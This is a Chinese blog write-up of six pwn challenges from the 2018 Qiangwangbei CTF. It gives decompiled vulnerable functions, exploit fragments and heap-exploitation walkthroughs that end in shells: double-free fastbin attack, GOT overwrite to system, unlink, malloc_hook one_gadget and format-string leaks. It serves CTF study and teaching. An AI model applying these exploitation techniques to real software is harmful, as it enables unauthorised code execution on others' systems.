强网杯2018 pwn复现

Author Avatar
hac425 4月 02, 2018
  • 在其它设备中阅读本文章

前言

本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错

程序和 exp:

https://gitee.com/hac425/blog_data/blob/master/qwb2018/

正文

silent

漏洞

free 的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free, 后面的 编辑功能也没有检验指针是否已经被 free ,所以 uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 free_()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &i);
getchar();
if ( i < 0 || i > 9 )
return 0xFFFFFFFFLL;
free(ptr_table[i]);
return 0LL;
}

利用

new 一个内存的时候我们可以任意大小的内存,我们现在的能力

  • 分配任意大小的内存
  • double free
  • uaf

Double Free —-> Fastbin Attack

可以利用 fastbin 检测 double free 的特点来利用。把一个 chunk 加入 fastbin 是如果相应 fastbin 的第一项和要加入的 chunk 不是同一个即可

1
2
3
4
5
6
7
8
9
10
11
add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)
delete(1)
delete(2)
delete(1)
gdb.attach(p)
pause()

这样就会形成一个 下面的 fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>

0x603070fastbin 链 中出现了两次,于是分配两次,0x603070 会被分配,而且 0x603070 会成为 fastbin 的第一个 chunk . 我们就可以通过 double free 实现 fastbin attack 的目的(其实这里可以直接改,因为有 uaf)

现在的目的是找 一个地址处存放 size 的位置来 bypass fastbin 的 检查。

在程序的 bss 段存有 std 的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.bss:0000000000602080 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; sub_4007F0+6↑o ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; init_+17↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; init_+53↑r
.bss:00000000006020A0 ; Copy of shared data

这些指针之间有一些填充空间(会被填充为0), 然后 std 的指针的最低字节 就有可能 可以作为 fastbinsize .

paste image

于是修改大小为 0x70fastbinfd0x60209d, 然后分配 2 次,我们就可以分配到 bss, 然后通过修改 ptr_table 来修改 got 表,使得 free@gotsystem@plt

修改 ptr_table[0] –> free@got

1
2
3
4
5
6
7
8
9
10
add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)
add('\x00'*0x13+p64(0x602018), 0x60) # ptr0 --> free@got
p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt
delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00")

silent2

漏洞

silent 的基础上限制我们不能分配 fastbin

paste image

利用

分配两个 0x90chunk ,然后释放掉

分配一个大的 chunk 重用上面的空间,伪造 free chunk , 触发unlink

strlen@gotsystem@plt

opm

漏洞

add 功能处使用 gets 来读入字符串到 stackbuf 而且 buf 后面有 obj_ptr ,我们可以溢出覆盖 obj_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
obj *add()
{
obj *obj; // rbx
obj *obj_; // rbx
size_t name_len; // rax
obj *obj__; // rbx
char buf; // [rsp+0h] [rbp-1A0h] // 输入的缓冲区
obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
char *v7; // [rsp+100h] [rbp-A0h]
unsigned __int64 v8; // [rsp+188h] [rbp-18h]
v8 = __readfsqword(0x28u);
obj = operator new(0x20uLL);
init_obj(obj);
obj_ptr = obj;
obj->show_func = show_func;
puts("Your name:");
gets(&buf);
obj_ = obj_ptr; // gets 可以覆盖 obj_ptr
obj_->len = strlen(&buf);
name_len = strlen(&buf);
v7 = malloc(name_len);
strcpy(v7, &buf);
obj_ptr->nameptr = v7;
puts("N punch?");
gets(&buf); // gets 可以覆盖 obj_ptr
obj__ = obj_ptr;
obj__->punch = atoi(&buf);
show_func(obj_ptr);
return obj_ptr;
}

有一个比较麻烦的点就是 gets 会在读入的字符串后面加入一个 \x00

信息泄露

泄露 heap 地址

主要的思路就是把 addr 写入 name 的缓冲区中,然后 printf 出来

1
2
3
4
5
6
7
add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1') # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")
log.info("write a name_ptr to 8d00")

具体内存布局如图

paste image

0x5555557560e0role_table 的地址, 可以看到 role_table[1]role_table[2] 的是一样的,成功把 name ptr 写入了 role->name 里面

泄露 程序基地址 && libc

后面通过 泄露的 heap 地址,和指针覆盖 来布局,leak 即可

修改 strlen@got 为 system

利用 obj->punch 局部修改

note

漏洞

在修改 title 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
char *change_title()
{
char *result; // rax
signed int i; // eax
unsigned __int8 c; // [rsp+Bh] [rbp-5h]
signed int index; // [rsp+Ch] [rbp-4h]
printf("enter the title:");
index = 0;
while ( 1 )
{
c = getchar();
if ( check_black_list(c) )
break;
if ( index > 0x27 )
{
result = title + 0x27; // 最多 40 个字符
title[0x27] = 0;
return result;
}
i = index++;
title[i] = c;
}
result = c;
title[index] = c;
return result;
}

title 是一个 0x28 字节的 buf, 如果我们在 index=0x28 时输入 black_list 中的字符,就会跳出循环,然后 title[0x28] = black_char, off by one 。我们看看溢出的那个字节可以写入什么

1
0000000000602010 0A 21 3F 40 22 27 23 26 00

利用

off by one 可以通过 伪造 free chunk 来触发 unlink ,所以选择 0x40, 通过调试可以知道,title 后面跟着的是 content

然后溢出后就可以设置 content 所在 chunk->size = 0x40

然后通过 realloc 一个很大的值,使得无法 通过扩展 chunk 来分配,这样就会把 content 放入 fastbin

再通过 realloc 一个很大的内存,触发 会把 content 进入 smallbin 并且触发堆合并,触发 unlink.

之后修改 __realloc_hooksystem

raisepig

漏洞

eat_pig 功能处可以 double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 eat_pig()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( pig_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &i);
if ( i > 0x63 || !pig_table[i] ) // 这里只是判断,pig指针是不是为0
{
puts("Invalid choice");
return 0LL;
}
srand(0);
pig_table[i]->is_lived = 0;
free(pig_table[i]->name_ptr); // free掉name指针,没有free pig
}
else
{
puts("No pig");
}
return 0LL;
}

所以我们可以 多次 free(pig_table[i]->name_ptr)

利用

  • 由于在分配内存时使用 malloc , 而且分配后没有对内存进行清空,而且读入数据使用 read, 可以泄露出 libc
  • 然后分配几个 0x90chunk , 释放中间两个会合并成一个大的 unsorted bin
  • 然后分配大的 chunk 就可以拿到刚刚合并生成的大 chunk , 结合 double free,进行 fastbin attack
  • 修改 fastbin->fd = 0x81 分配一次后可以在 main_arean 有一个 p64(0x81)
  • 使用 fastbin attack 可以修改 main_arean->topmalloc_hook-0x10
  • 然后分配内存修改 malloc_hookone_gadget

  • 重复 free 同一个内存(不进行伪造),触发 malloc_printerr (这样更稳), 会调用 malloc, getshell

gamebox

漏洞

play 函数中,调用 rand 函数初始化了 24 字节的 随机字符串,如果猜对了,就会调用 record 函数进行记录

paste image

size 由我们输入,可以看到分配了 size 的内存 , 后面写的时候 name[size] 会溢出一个字节,不过只能溢出 \x00, off by null.

然后在 show 函数有格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 show()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( obj_table[i].name_ptr )
{
putchar(i + '0'); // 打印名次
putchar(':');
printf(obj_table[i].name_ptr); // name_ptr 作为 printf的第一个参数,格式化
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}

利用

rand 默认使用 srand(1), 我们本地调用 libcsrand(1)rand 就可以生成相同的字符串

利用格式化字符串漏洞,泄露 libc 和 程序的基地址

off by null 直接套用 how2heap ,就可以 overlap heap

这时就可以利用 raisepig 的思路 或者 使用 unlink

参考

http://tacxingxing.com/2018/03/28/2018qwb/

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/04/02/qiangwangbei2018_pwn.html